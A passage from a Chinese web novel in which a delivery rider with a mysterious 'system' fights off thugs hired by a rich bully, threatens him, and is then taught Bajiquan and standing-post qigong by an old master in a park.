街角对面,那辆与周围破败环境格格不入、线条嚣张的亮蓝色豪华跑车,如同一个扎眼的标签停在那里。陈少正姿态懒散地倚在引擎盖上,手里夹着昂贵的香烟,吞云吐雾,脸上洋溢着一种混合着得意、残忍和病态满足感的笑容。
他身边,如同众星拱月般站着四个统一穿着黑色西装、戴着墨镜、身材高大健壮、面无表情的保镖,如同四尊冰冷的雕塑。他们显然是在这里守株待兔,期待着亲眼目睹王大头回到这个被摧毁的“家”时,那预期
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中的惊慌、恐惧、绝望乃至崩溃的精彩表情。
“妈的,一个臭送外卖的底层杂碎,也敢跟本少叫板?也不撒泡尿照照自己什么德行!”陈少朝着王大头出租屋的方向,故意提高音量,唾沫横飞地叫嚣着,声音在寂静的夜里传得老远,“跟老子斗?玩死你!等你回来,看到你这狗窝变成这样,表情一定很他妈精彩!哈哈哈哈!”他发出一阵张狂而刺耳的大笑,仿佛完成了一件多么了不起的“杰作”。
他身边的保镖们,虽然戴着墨镜看不清眼神,但嘴角都不约而同地勾起一丝附和主子心意的、冷漠的弧度。
然而,时间一分一秒过去。他们只看到王大头身影沉默地走入楼洞,然后……就没有然后了。预想中的哭喊、咒骂、求饶,任何属于失败者的声音,都没有从那个被摧毁的房间里传出来。那里只有一片死寂,一种令人不安的、深沉的寂静。
“操!那穷鬼不会是吓破了胆,直接晕死在里面了吧?**没劲!”陈少脸上的得意渐渐被一种莫名的烦躁和期待落空的不爽所取代,他用力吸了一口烟,焦躁地吐出烟圈。
就在这时,毫无征兆地,陈少突然感觉到一股冰冷的、如同毒蛇信子般的视线,牢牢锁定在了自己身上,让他后颈的汗**瞬间炸起!他下意识地猛地抬头,目光惊疑不定地射向王大头出租屋那扇漆黑的窗口。
窗口处,破损的窗帘似乎极其轻微地晃动了一下,仿佛有什么东西刚刚从那里移开。
但当他凝神屏息,死死盯住那片黑暗时,那里又恢复了死寂,只有玻璃反射着远处路灯微弱的光,空洞洞的,什么也看不清,仿佛刚才的感觉只是他的错觉。
陈少莫名地打了个寒颤,一股说不清道不明的寒意从脚底板直窜上天灵盖,心脏不受控制地加速跳动起来。那是一种被隐藏在暗处的、极度危险的猎食者盯上的本能恐惧。
他强自镇定,为了掩饰内心的慌乱,恶狠狠地骂了一句:“妈的!装神弄鬼!晦气!我们走!明天……明天再找更狠的人来,陪这杂种好好玩玩!”他色厉内荏地掐灭烟头,动作有些仓促地拉开车门,钻了进去。
保镖们也迅速上车,豪华跑车发出一声低沉的咆哮,轮胎摩擦着地面,略显匆忙地驶离了这片让它主人感到不适的区域。
直到跑车的尾灯彻底消失在巷口,王大头才如同真正的幽灵,从窗口旁的阴影里缓缓踱出。
他脸上依旧没有任何表情,如同万年不化的寒冰。但那双在黑暗中睁开的眼睛,却亮得骇人,瞳孔深处仿佛有冰冷的火焰在燃烧,又像是两口深不见底的寒潭,要将所有的光线都吞噬进去。
他望着跑车消失的方向,用只有自己能听到的、仿佛带着冰碴子的声音,清晰地吐出四个字:
“跳梁小丑。”
这一次,声音里不再仅仅是厌恶,更带上了一种决定性的、冰冷的决断。
第18章:系统警告,危机感知!
夕阳的余晖将城市的轮廓染成金红色,王大头骑着电驴穿梭在车流中,看似与无数奔波的外卖员别无二致。但若有人能看透他那平静外表下的内心,便会发现那里正翻涌着冰冷的海浪。
陈少的威胁,如同阴魂不散的跗骨之蛆,在他本就因父亲重病而紧绷的心弦上,又狠狠拧了一把。他太了解这种纨绔子弟了——狭隘、刻毒、睚眦必报,将面子看得比天大。砸屋泼漆,对他而言是奇耻大辱,更是一种公开的挑衅。对方绝不可能就此罢休。下一次,等待他的,很可能不再是这种象征性的破坏,而是更直接、更凶残的暴力。甚至……王大头最不愿想,却又不得不防的是,那个疯子可能会丧心病狂地波及到他躺在医院里、毫无反抗之力的父母。
一想到父母可能因自己而陷入险境,一股冰冷的杀意就几乎要冲破他的理智。这个麻烦,必须尽快解决,以绝后患!他不能再容忍任何可能威胁到家人的因素存在。
然而,现实的困境如同无数道交织的蛛网,将他牢牢束缚在原地。眼下,他面前矗立着两座更沉重、更紧迫的大山——父亲那高达五十万的救命钱,如同一把悬在头顶的利剑,时刻催促着他;而林家这个如同隐藏在都市迷雾中的庞然巨兽,所带来的未知风险,更是让他不敢有丝毫松懈。
与这些相比,陈少更像是一只嗡嗡叫的烦人苍蝇,但他深知,有时候,恰恰是这种不起眼的苍蝇,能坏了一锅好汤,甚至带来致命的病菌。他不能,也没有足够的资本,将宝贵的时间和精力,过多地消耗在这只疯狗身上。
送完最后一单,他回到那间被糟蹋得不成样子的出租屋。空气中还弥漫着劣质油漆的刺鼻气味。他没有开灯,借着窗外邻家透来的微弱灯火,沉默地开始收拾狼藉。
动作缓慢而坚定。他将翻倒的床板扶正,把被砸烂的桌腿勉强支棱起来,把那件被踩踏过、母亲在灯下一针一线织就的旧毛衣,小心翼翼地抚平褶皱,仔细叠好,仿佛在对待一件易碎的珍宝。最后,他蹲下身,目光落在墙角那幅被撕成两半、沾染了肮脏脚印的书法条幅上——“格物致知”。
这四个字,曾是他踏入大学校门时的座右铭,承载着他对知识的敬畏和对未来的憧憬。如今,它却像他本人一样,被粗暴地践踏、撕碎。他没有愤怒地低吼,只是伸出因长期劳作而略显粗糙的手指,极其轻柔地将碎片一一捡起,用袖子一点点、极其耐心地擦去上面的灰尘和污渍,仿佛在擦拭自己那被现实反复蹂躏却从未真正熄灭的尊严与过往。
他仔细地将碎片抚平,边缘对齐,然后郑重地放入一个干净的塑料袋,小心翼翼地塞进了床板下的最深处。这不是妥协,也不是遗忘,而是将这份**、这份动力,深深地埋藏起来,化作淬炼心志的火焰。
做完这一切,他坐在屋内唯一还算完好的床板边缘,闭上双眼,将外界的纷扰与内心的焦躁一并摒弃。意识沉入脑海,开始全力吸收系统奖励的【八极拳精要感悟】。
与之前吸收内力感悟时,那股汹涌澎湃、改造体魄的能量洪流不同,这一次涌入他意识的,是无数关于八极拳发力、运劲、步法、身法,乃至对敌时那电光火石间时机把握的精妙信息流。不再是简单的基础动作拆解,而是更深层次的“意”与“理”,是无数前人在血与火的实战中总结出的智慧结晶与经验烙印。
如何将全身看似散乱的力量,瞬间拧成一股无坚不摧的“整劲”?如何在方寸之间的贴身短打中,爆发出崩山裂石般的恐怖威力?如何在外表刚猛暴烈的表象下,蕴含细腻阴柔的变化,做到刚柔并济?如何巧妙地借力打力,以最小的消耗达成最大的战果?……
这些珍贵无比的感悟,如同久旱后的甘霖,精准地浇灌在他武学知识的贫瘠荒漠上,正好弥补了他空有十几年浑厚内力,却招式粗糙、缺乏系统传承与理论指导的巨大短板。他如饥似渴地吸收着,并结合自身强大的逻辑思维和科学分析能力,不断在脑海中验证、优化、融合这些技巧。他感觉自己对八极拳的理解,正在发生一种脱胎换骨般的质变,以往许多晦涩难明、只能凭借本能和感觉去模仿的地方,此刻如同拨云见日,豁然开朗。
一夜无话,他完全沉浸在这武学境界飞速提升的美妙体验之中,忘却了身体的疲惫与胸口那隐隐的闷痛。
第二天,天色微亮,他便如同往常一样,穿上那身洗得发白的蓝色外卖服,跨上电驴,无声地融入了清晨开始忙碌喧嚣的城市车流。然而,与往日不同的是,他今天的警惕性提到了最高。
眼神锐利如搜寻猎物的鹰隼,时刻不动声色地扫视着周围的环境,从川流不息的人群到每一个可能藏匿危险的角落。体内的内力不再像往常那样平缓流淌,而是保持着一种引而不发的活跃状态,如同拉满的弓弦,随时准备应对突发状况。
他刻意避开了平时熟悉的送餐路线和区域,专门挑选那些人流复杂、巷道纵横、视野受阻、既易于隐藏也易于被伏击的老城区和边缘地带。这是一种带着试探性质的主动“钓鱼”,也是一种被现实逼出来的谨慎。
果然,在下午三点多,一天中阳光正好、最容易让人精神松懈的时刻,他送完一单,推着略显破旧的电驴,走进一条狭窄、幽深、两侧是高耸斑驳旧墙、阳光难以完全照亮、地面还散落着垃圾的背街小巷时,异变陡生!
【警告!检测到恶意接近!方位:前方巷口,后方巷尾!威胁等级:中!】
脑海中,那冰冷、毫无感情的电子提示音,以前所未有的清晰度骤然响起!几乎在同一瞬间,一股明显的、如同被几双不怀好意的眼睛同时盯上的危机感,如同无形的蛛网般将他全身笼罩!
王大头瞬间停下脚步,身体肌肉微微绷紧,眼神锐利如刀,冷静而迅速地扫视前后。
只见前后巷口几乎同时涌进来七八个打扮流里流气、神态嚣张的青年,个个手中都拿着家伙——锈迹斑斑的钢管、木质棒球棍,甚至还有两三个人提着明晃晃、开了刃的**。
为首的是个染着一头扎眼黄毛、满脸横肉、身材壮实的混混,脖子上挂着一条粗得晃眼的假金链子,嘴里歪叼着快要燃尽的烟头,一副标准的底层混混头子模样,正用充满恶意和戏谑的眼神打量着王大头。
“哟嗬!这不就是咱们鼎鼎大名的‘外卖侠’吗?”黄毛混混用力吐掉嘴里的烟头,用手中的钢管极具侮辱性地指向王大头,阴阳怪气地拉长了声调,“听说你挺能打啊?连我们尊贵的陈少都敢不给面子?怎么,真以为会两下子,就能在这片地界上横着走了?今天哥几个就发发善心,好好教教你,在这地头上,该怎么做人!”
前后退路都被堵死,对方人多势众,而且明显有备而来,手持利器和钝器。若是几个月前的王大头,或者任何一个普通的外卖员,陷入这种境地,今天恐怕不死也要脱层皮。
但此刻的王大头,只是平静地看着他们,眼神深处甚至连一丝波澜都没有掀起。体内温顺而雄浑的内力开始加速流转,四肢百骸充满了力量。经过昨夜对八极拳精要的深刻感悟,他正想找些合适的“沙包”来验证和磨合一下新的理解与发力技巧,眼前这群人,倒是送上门来的最佳陪练。
“兄弟们,别跟他废话!陈少发了话,废了他!事后重重有赏!”黄毛混混见王大头毫无惧色,感觉自己被轻视了,恼羞成怒地大吼一声,挥舞着钢管率先冲了过来,目标直指王大头的脑袋!
他这一动,如同发出了信号,其他混混也立刻面目狰狞地一拥而上,棍棒齐挥,刀光闪烁,狭窄的小巷瞬间**气填满!
就在第一根钢管带着恶风即将砸到王大头头顶的瞬间,他动了!
静若处子,动若脱兔!脚下步伐如梦似幻般急速变幻,将昨夜领悟的八极拳精妙步法与自身基于力学原理优化的“科学身法”完美融合!身体如
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同失去了重量,又好似化作了扭曲的柔韧阴影,于方寸之间做出违反常理的极限挪移,间不容发地避开了这致命一击,同时如同游鱼般滑入人群的空隙!
左手如电探出,五指如同精钢锻造的铁钳,精准无比地扣住了黄毛混混持钢管手腕的桡骨关节最脆弱处!八极拳“缠丝劲”的阴柔巧劲瞬间爆发,结合杠杆原理,手腕一拧、一带!
“咔嚓!”
一声令人牙酸的、清脆的骨骼错位声,在寂静的小巷中显得格外刺耳!
“啊——!”黄毛混混发出一声杀猪般的惨嚎,整只手掌瞬间以一个怪异的角度扭曲,钢管“当啷”一声掉落在地,他捂住诡异弯曲的手腕,额头上瞬间冒出密密麻麻的冷汗,战斗力瞬间归零。
王大头顺势弯腰,抄起掉落的钢管,手感沉实。他手腕一抖,反手一记凌厉的横扫,钢管带着撕裂空气的呼啸声,如同毒蛇出洞!
“砰!砰!砰!”
三个冲在最前面、挥舞着棒球棍的混混应声倒地,各自抱着被打中的手臂或者肋骨部位发出痛苦的哀嚎,武器脱手飞出。
他并未下死手,但每一击都精准无比地打在关节、穴位等神经密集、痛感最强的位置,确保对方在短时间内彻底失去战斗力。
同时,脚下步法毫不停歇,在剩余混混惊愕的目光中,如同穿花蝴蝶般在人群中穿梭,身影飘忽不定。手中的钢管仿佛活了过来,时而是凌厉突刺的**,时而是势大力沉的铁鞭,时而又化作格挡招架的坚盾!每一次出手,必有一人惨叫着倒下,或抱腿,或捂腹,或晕厥。
一个躲在后面的混混自以为找到了机会,趁着王大头背对他解决另一人时,眼中凶光一闪,手中的**带着寒光,悄无声息地直劈王大头的后心!
然而,王大头仿佛背后长眼,在刀锋即将及体的刹那,一个迅捷无比的矮身旋踢,后发先至,脚掌如同重锤般精准地印在对方的胸口膻中穴上!
“嘭!”
一声沉闷的撞击声响起,那偷袭的混混连惨叫都没来得及发出,整个人如同被高速行驶的汽车撞上,直接倒飞出去,重重地砸在后方斑驳的墙壁上,然后像摊烂泥一样滑落下来,瘫在地上没了声息。
整个过程,如行云流水,又似雷霆爆发!从遇袭到反击结束,总共不到两分钟!七八个手持凶器、气势汹汹的混混,甚至连王大头的衣角都没摸到几下,便已经横七竖八地躺满了小巷,只剩下痛苦的**和哀嚎在空气中回荡。
只剩下最初那个手腕被废的黄毛混混,还瘫坐在地上,捂着自己变形的手腕,用看着怪物一样的惊恐眼神望着王大头,浑身抖得像筛糠一样。
“你、你……你到底是什么人?!”黄毛的声音因为极致的恐惧而剧烈颤抖,几乎不成调子。他混迹街头这么多年,打架斗殴见过无数,却从未见过如此恐怖的身手,这根本不是一个外卖员该有的实力!
王大头随手将沾染了些许血迹的钢管扔在地上,发出“哐当”一声脆响,在这寂静的小巷里格外刺耳。他缓步上前,如同漫步庭园,走到黄毛面前,居高临下地看着他。
然后,他伸出手,一把抓住黄毛的衣领,如同拎小鸡一样,毫不费力地将这个体重至少一百六七十斤的壮汉从地上提了起来,双脚离地。
“回去告诉陈少,”王大头的声音不高,却冰冷刺骨,每一个字都像是从极寒冰窟中捞出来的一样,带着令人灵魂战栗的寒意,“这是我给他的,最后一次警告。”
他凑近黄毛因恐惧而扭曲的耳边,用只有两人能听到的音量,一字一顿,清晰无比地说道:
“如果他再敢派人来找我的麻烦,或者……胆敢碰我家里人一根汗**......”
他顿了顿,让那冰冷的杀意如同实质般渗透进黄毛的每一个毛孔。
“我会亲自上门,找到他。我会让他深刻地体会到,什么叫做真正的后悔……后悔出生在这个世界上。”
第19章:公园奇遇,神秘老者
那毫不掩饰的、纯粹而冰冷的杀意,如同无数根冰针刺入黄毛的骨髓,让他瞬间崩溃,裤裆处一热,腥臊的液体不受控制地流了出来,整个人如同烂泥般瘫软下去。
王大头眼中闪过一丝厌恶,松开手,像丢一件肮脏的垃圾一样,把他扔在地上。
“滚。”
一个字,如同赦令。
黄毛如蒙大赦,强烈的求生欲压过了手腕的剧痛和极致的羞辱,他连滚带爬,手脚并用地向着巷口仓皇逃去,甚至连那些还躺在地上**的手下都完全顾不上了。
王大头站在原地,胸膛微微起伏,调整着呼吸。他眼神冰冷地扫过满地狼藉和那些失去战斗力的混混,心中没有半分怜悯,只有一种事情终于找上门来的冷厉。他弯腰,从那个被踢晕的混混身边,捡起了那把他觉得可能用得上的**,掂量了一下,插在了后腰,用外套稍稍遮掩。
【危机感知】那尖锐的警报声早已在脑海中平息,但经历过这次实战触发与应用,一种对危险更加敏锐、更加直觉化的感知,似乎有少许真正融入了他的战斗本能,如同给野兽开启了额外的感知器官。
被动防御,挨打后再反击,从来不是他的风格,也解决不了根本问题。
陈少此人,心胸狭隘,行事肆无忌惮,毫无底线可言。从最初的当众辱骂,到砸屋泼漆,再到如今雇佣混混持械围殴……对方的行动一次比一次过分,一次比一次狠辣。下一次呢?等到他发现自己雇佣的混混不堪一击后,会不会真的恼羞成怒,丧心病狂到直接派人去医院,对毫无反抗之力的父母下手?
他不敢去赌那个**的道德底线,因为对方很可能根本就没有底线!
不能再这样下去了!必须快刀斩乱麻!
他眼中闪过一丝决绝的寒光。忍耐和退让,只会让疯狗更加猖狂,更加得寸进尺。唯有主动出击,让对方感受到彻骨的恐惧和无法承受的代价,才能真正杜绝后患,一劳永逸!
为了父母的安全,为了自己能心无旁骛地去筹集父亲的救命钱,他必须主动出击,彻底、干净地解决掉陈少这个麻烦!否则,他将永无宁日,甚至连父亲的救命钱,都可能因为这个**的不断骚扰而出现无法预料的意外。
他深吸一口冰冷的、带着尘埃和血腥味的空气,强行压下胸腔中翻腾的气血和那几乎要破体而出的凛冽杀意,从裤兜里掏出那部屏幕有裂痕的旧手机,熟练地解锁,找到了张猛的号码,按下了拨打键。
电话几乎是被秒接,显然张猛也在等着他的消息。
“猛子,”他没等对方开口,直接说道,声音异常平静,却带着一股仿佛来自西伯利亚荒原深处、能冻结灵魂的冰冷寒流,“帮我查清楚,陈少那个杂碎,最近一般都会在哪里出现。”
做完这些,他感觉胸口因昨夜运功和刚才瞬间爆发而隐隐作痛的内伤,似乎又有加重的趋势。连续的高强度战斗和紧绷的神经,让他的身体发出了警告。
“必须尽快处理掉陈少这个麻烦,然后……想办法搞到更对症的疗伤药物,或者找到更快恢复内力的方法。”他心中暗忖。地下拳赛来钱虽快,但风险太高,尤其是现在被林家和陈少双双盯上的情况下。
他没有立刻联系张猛催促,而是推着电驴,拐向了附近一个相对僻静、以晨练老人居多的人民公园。此刻已近傍晚,公园里人流稀疏,夕阳的余晖给亭台楼阁和老树都镀上了一层暖金色,倒是比他那间被砸的出租屋更适合暂时休憩和……思考。
他将电驴停在公园门口锁好,迈步走入。寻了一处靠近小湖边、有垂柳掩映的相对空旷草地,确认四周无人注意后,他深吸一口气,摆开了八极拳的起手式。
他没有动用内力,只是纯粹地演练招式,试图将昨夜吸收的【八极拳精要感悟】与实际动作更深层次地融合。沉肩坠肘,含胸拔背,动作时而刚猛暴烈,如金刚捣杵;时而紧凑短促,如绷弓射箭。他完全沉浸在对发力技巧、步法转换的体悟中,努力将那些精妙的“意”与“理”化为自身的本能。
然而,或许是内伤影响,或许是心绪不宁(陈少的威胁、父亲的医药费、林家的窥伺如同阴云笼罩),他总感觉某些发力转换之处,依旧存在一丝难以言喻的滞涩,仿佛就差那么一层窗户纸没有捅破,无法达到感悟中描述的“劲力通透,圆融如一”的境界。
就在他反复演练一招“顶心肘”,试图找到那股将全身力量瞬间集中于肘尖的“整劲”感觉,却总觉得差了点意思,动作不免带上了一丝焦躁时——
“年轻人,练拳心要静,意要专。你这肘,顶出去的是散火,不是真劲。”
一个苍老却中气十足、带着奇特韵律的声音,冷不丁地从旁边传来。
王大头心中猛地一惊!以他如今被内力强化过的五感,竟然有人能悄无声息地靠近到如此近的距离而未被他察觉?!
他瞬间收势,警惕地转头望去。
只见不远处的一棵老槐树下,不知何时站着一位老者。老者看样子约莫七十上下年纪,身材清瘦,穿着一身洗得发白的藏蓝色旧式练功服,脚蹬千层底布鞋。他头发花白,却梳理得一丝不苟,用一根简单的木簪束在脑后。面容清癯,皱纹如同刀刻,但一双眼睛却丝毫不显浑浊,反而清澈明亮,开阖之间精光内蕴,仿佛能看透人心。
最引人注目的是,他左手提着一个做工精巧的竹制鸟笼,里面养着一只**色油亮、神态机敏的画眉鸟。右手则慢悠悠地盘着一对颜色深紫、包浆浑厚如玉的文玩核桃,核桃在他指间匀速转动,发出极其细微、却富有某种独特韵律的“沙沙”声,与他整个人的气息融为一体,透着一股说不出的悠闲与深不可测。
老者就那样随意地站在那里
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,仿佛与周围的古树、夕阳、湖水融为一体,若不是他主动开口,王大头甚至可能会忽略他的存在。
“老先生……”王大头压下心中的震惊,抱拳行了个不伦不类的江湖礼节,毕竟他也没正经过学过这些。对方一语道破他练拳的关隘,显然绝非普通遛弯老人。
老者并未在意他的礼节,目光在他身上扫过,尤其是在他略显苍白的脸色和眼神中那抹尚未完全散去的戾气上停留了一瞬,微微摇了摇头:“八极拳,讲究‘崩撼突击,挨膀挤靠’,发力如爆竹,瞬间炸开。但你心浮气躁,内息不稳,强行催谷,看似刚猛,实则内里已伤。这一肘顶出去,伤敌三分,自损却不止一分。长此以往,根基必毁。”
这番话,字字如锤,敲在王大头心头!
不仅点出了他此刻内伤未愈、心绪不宁的状态,更是一针见血地指出了他强行融合感悟、急于求成所隐藏的祸根!这眼光,这见识……远超之前遇到的任何人,包括那个林浩!
王大头心中翻起惊涛骇浪。他之前凭借系统和科学知识一路闯过来,虽屡遇强敌,但总能化险为夷,内心不免积累了一些自信,甚至隐隐觉得自己或许真是天赋异禀。但此刻,这神秘老者寥寥数语,却将他打回原形,让他清醒地认识到,在真正的武道大家面前,他这点微末道行和野路子,还差得远!
联想到系统发布的【武之起源】任务,以及林家展现出的古武底蕴,王大头瞬间明悟——眼前这位,很可能就是他一直渴望遇到的,能够指引他走上真正武道的“引路人”!
机遇就在眼前,不容错过!
他再无丝毫犹豫,也顾不上什么面子,上前两步,对着老者深深鞠了一躬,语气无比恭敬,甚至带着一丝恳切:
“老先生慧眼如炬!小子胡乱练拳,不得其法,还请老先生不吝指点!”
这一刻,他收敛了所有的锋芒与戾气,如同一个渴望知识的学生。
老者看着他恭敬的态度和眼神中那份对力量的纯粹渴望(而非贪婪),脸上古井无波的表情似乎缓和了一丝,手中转动的核桃微微一顿。笼中的画眉鸟也适时地清脆鸣叫了两声。
夕阳的余晖将两人的影子拉得老长,公园里愈发安静,只有微风拂过柳梢的沙沙声和画眉鸟偶尔的啁啾。
老者,也就是赵师傅,并未立刻回答王大头的话。他那双深邃的眼睛如同探照灯,上下仔细打量着王大头,目光仿佛能穿透皮肉,直窥筋骨脏腑。
“根骨……尚可。”赵师傅缓缓开口,声音平淡,“比老夫预想的要结实些,似是经过某种外力淬炼,底子打得还算马虎。但这内息……”他微微蹙眉,“驳杂不纯,空有量而缺乏凝练,运行路线更是古怪,效率尚可,却失之王道中正,带着几分急功近利的取巧。还有这满身的血腥戾气……小子,你走的不是正道吧?”
第20章:武道引路人,赵师傅
王大头心头凛然,知道在这等高人面前,隐瞒毫无意义,反而会恶了对方。他深吸一口气,坦然道:“不敢隐瞒老先生。小子王大头,为救重病父亲,急需用钱,不得已……在地下拳场打过几场黑拳。这身内力,也是因缘际会所得,确实无人系统指点,练得乱七八糟。至于血腥戾气……方才来公园之前,刚料理了几个不开眼的**。”
他言简意赅,既说明了自身困境和力量的来源(隐去系统),也点明了刚才遇袭之事,坦荡中带着一丝无奈与决绝。
“地下拳场?**?”赵师傅眼中精光一闪,并未露出惊讶或鄙夷之色,反而像是确认了什么,微微颔首,“难怪。生死搏杀,确实是淬炼武技、激发潜能的捷径,但也最容易迷失心性,走入歧途。你能在那种环境下,还能保持一份求道之心,未被力量完全奴役,倒也算难得。”
他话锋一转,语气变得严肃起来:“不过,你若想在这条路上走得长远,而非昙花一现,甚至中途夭折,就必须摒弃那些野路子和取巧之法,打下坚实的根基!武道攀登,如筑高台,根基不牢,终是空中楼阁。”
王大头屏住呼吸,知道关键时刻来了。他再次躬身:“请老先生教我!”
赵师傅没有直接答应,而是向前踏出一步,看似随意地站定,说道:“你用你最强的力量,最快的速度,攻我一招。让老夫看看,你这‘乱七八糟’的底子,到底到了什么程度。”
这是要试手了!
王大头不敢怠慢,也知道这是展示自身价值和决心的机会。他深吸一口气,体内十五年内力全力催动,优化后的周天循环法运转到极致,将状态调整到巅峰。他没有使用花哨的招式,而是选择了八极拳中最直接、最刚猛的**锏——立地通天炮!
脚下猛然发力,草地微微下陷!身体如炮弹般射出,右拳如同出膛的炮弹,凝聚了全身的力量与内力,带着一往无前的气势,撕裂空气,发出沉闷的呼啸,直轰赵师傅中宫!
这一拳,比他之前任何一次出手都要凝聚,都要强大!他有自信,就算是一堵砖墙,也能轰出个窟窿!
然而,面对这石破天惊的一拳,赵师傅却只是淡淡地看着,直到拳锋即将及体的刹那,他才不慌不忙地抬起那只盘着核桃的右手,食指与拇指轻轻一捻,如同拈花般,精准无比地迎向了王大头那足以开碑裂石的拳锋!
没有想象中的惊天碰撞,也没有内力激荡的爆鸣。
王大头只感觉自己的拳头,仿佛打在了一团深不见底、却又韧性十足的棉花上,所有狂暴的力量和冲击力,在接触到对方指尖的瞬间,如同泥牛入海,消失得无影无踪!更有一股柔和却无法抗拒的牵引之力传来,让他前冲的势头不由自主地偏向一侧,险些失去平衡。
他这凝聚了全身功力的一拳,竟被对方如此轻描淡写、举重若轻地化解了!
王大头收拳后退,脸上充满了震撼与难以置信。他此刻才真正体会到,什么叫做天外有天,人外有人!自己那点力量,在真正的武道高手面前,简直如同儿戏!
赵师傅缓缓收回手指,继续盘着核桃,脸上露出一丝若有若无的满意神色:“力量尚可,爆发力也够,可惜,刚猛有余,变化不足,对力量的掌控更是粗糙。发力只知用蛮,不懂刚柔并济,不懂蓄发转换。若遇真正高手,你这一拳打出,自身破绽也毕露无遗。”
虽然话语是批评,但王大头却从中听出了一丝认可。若自己真是朽木不可雕,对方恐怕连话都懒得说。
“求老先生指点根基之法!”王大头第三次恳求,态度愈发恭敬。
赵师傅看着他诚恳的态度,终于点了点头:“罢了。看你尚有几分赤子之心,也未在力量中迷失本性,老夫便传你一套筑基的桩功。能领悟多少,看你自己的造化。”
他顿了顿,继续说道:“我观你内力运行,虽取巧迅捷,却失之厚重沉稳,于长远修行不利。今日便传你【混元桩】,此桩功看似简单,却是锤炼气血、稳固根基、调和内息的无上法门。练到高深境界,自有混元一体,不动如山之妙。”
说完,赵师傅身形微微下沉,摆了一个看似简单,却蕴含无穷奥妙的站桩姿势。双脚不丁不八,与肩同宽,膝盖微屈,含胸拔背,沉肩坠肘,双手虚抱于腹前,仿佛环抱一个无形的大球。整个人的气息瞬间变得沉静、厚重,仿佛与脚下的大地连为一体,给人一种不可撼动之感。
“看清楚了?”赵师傅维持着姿势,声音平和,“意念放松,似守非守,专注于呼吸,感受气血自然流转,引动内息沉入丹田,如溪流汇海。切忌刻意引导,强求气感。”
王大头连忙凝神记忆,模仿着
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赵师傅的动作摆开姿势。他拥有【八极拳精要感悟】的底子,对身体控制远超常人,学起外形来倒是飞快。
赵师傅微微颔首,上前一步,伸手在他腰、背、肩、肘几处关键部位轻轻一拍、一按、一托。看似随意的几下,却仿佛蕴含着某种独特的劲力与道理,瞬间矫正了王大头几个细微却至关重要的错误发力点。
“这里松,这里沉,这里含而不露……对,就是这样。记住这种感觉,意到气到,气到力到。”
王大头依言调整,当姿势和意念都按照赵师傅的指点调整到位后,他浑身微微一震!
一种前所未有的感觉涌上心头!
之前他修炼“高效周天循环法”,内力运行虽快,却总感觉像是无根之萍,躁动不安。而此刻,一站这【混元桩】,体内那原本有些躁动涣散的内力,仿佛受到了某种无形的约束和引导,自然而然地开始向着小腹丹田处缓缓汇聚、沉淀。
呼吸变得深长而均匀,一呼一吸之间,仿佛能与周围的环境产生某种微弱的共鸣。原本因受伤和战斗而有些紊乱的气血,也开始平复下来,胸口那隐隐的闷痛,似乎都减轻了不少。
更重要的是,他感觉自己对体内力量的感知,变得更加清晰、深刻!不再是模糊地知道有内力存在,而是能隐约“看到”它们如同温顺的溪流,在特定的轨迹中缓缓流淌,知其然,更开始触摸到一丝所以然!
这【混元桩】,果然玄妙!远非他那自创的、只追求效率的**可比!
看到王大头这么快就进入了状态,并且脸上露出明悟之色,赵师傅眼中闪过一丝不易察觉的惊讶和赞赏。此子的悟性和身体禀赋,比他预想的还要好上不少。
“每日早晚,至少站桩一个时辰。持之以恒,自有妙用。”赵师傅留下这句话,便不再多言,提起鸟笼,转身,迈着悠闲的步子,缓缓消失在暮色渐浓的公园深处。
王大头依旧沉浸在混元桩的奥妙之中,直到赵师傅的身影完全看不见,他才缓缓收功。
感受着体内那变得前所未有凝实和温顺的内力,以及脑海中那清晰无比的桩功要领,他对着赵师傅消失的方向,再次深深一躬。
而与此同时,在他感知不到的维度,脑海中那冰冷的系统提示音,似乎也随着他对【混元桩】的领悟,泛起了微不可查的涟漪……
第21章:八极初成,拳劲开碑!
清晨的薄雾如轻纱般笼罩着城郊的废弃公园,露水浸润着荒草与断垣。在这片被城市遗忘的角落深处,却响起了凌厉的破空之声。
“哈!”
王大头吐气开声,声音在空旷的公园里传出老远。他双脚不丁不八站立,正是赵师傅所授【混元桩】的根基。脊柱如大龙般节节贯通,一股沛然之力从脚底升起,经由腰胯,过肩背,最终凝聚于右拳之上!拳锋所向,正是面前那块半人高、饱经风霜的花岗岩凳角。
“嘭——!”
一声沉闷如雷的巨响炸开,惊飞了远处枝头的几只麻雀。
那坚硬的花岗岩,竟应声而碎!不是裂成几块,而是彻底爆裂开来,化作数十块大小不一的碎石,哗啦啦地散落一地,露出内部新鲜的断茬。
王大头缓缓收拳,站定“混元一气”的架子,口鼻间喷出的白气如两道凝而不散的利箭,显示出他内息的浑厚。他仔细感受着体内奔腾不息的内力,以及筋骨间蕴含的**性力量,眼中闪过一丝欣喜。八极拳的刚猛暴烈,配合他日益深厚且因混元桩而愈发凝练的内力,威力远超他的想象。这一拳,比他在地下拳场时,威力至少提升了三成!
“刚猛有余,杀伐果断,算是摸到了八极‘崩撼突击’的门槛。”
一个略带沙哑,却中气十足的声音在一旁响起。不知何时,提着那个熟悉竹制鸟笼的赵师傅,已经悄无声息地站在了几步之外,目光平静地看着那堆碎石,微微颔首,但随即话锋一转:“不过,发力过于刚直,少了一份圆润自如。八极讲究‘崩撼突击’,但也需‘贴身靠打’,劲力要含得住,也要放得收。你现在,放得出,却收不回三分力,全凭一股蛮劲。短时无碍,久了,必伤经脉脏腑。”
王大头心头一凛,知道这是金玉良言。赵师傅每次指点,总能一针见血。他连忙收敛气息,恭敬地躬身行礼:“谢赵师傅指点。弟子……我总觉得发力之时,腰胯与肩背的衔接,似乎还有一丝不畅,无法将全身力量真正拧成一股绳。”
赵师傅踱步过来,藏蓝色的旧练功服在晨风中纹丝不动。他用脚轻轻拨弄了一下地上的碎石块,眼神深邃地看了王大头一眼,那目光仿佛能穿透皮肉,看到他内力运行的轨迹。“你的进步速度,确实是我平生仅见。这混元桩,你入门极快,已得‘稳’字三味。但切记,刚不可久,柔不可守。真正的强者,要像水一样,可穿石,亦可载舟。发力如水银泻地,无孔不入,而非巨石砸落,一锤子买卖。”
他话锋一转,似是无意地问道:“你体内气血略有浮动,眉宇间隐有戾气未散。听说,你最近还在打地下拳赛?”
王大头心中微动,没有隐瞒。在赵师傅这等高人面前,耍小聪明毫无意义。“是。家父手术在即,后续康复仍需巨款。拳赛来钱最快。”他简略回答,没有多诉苦。
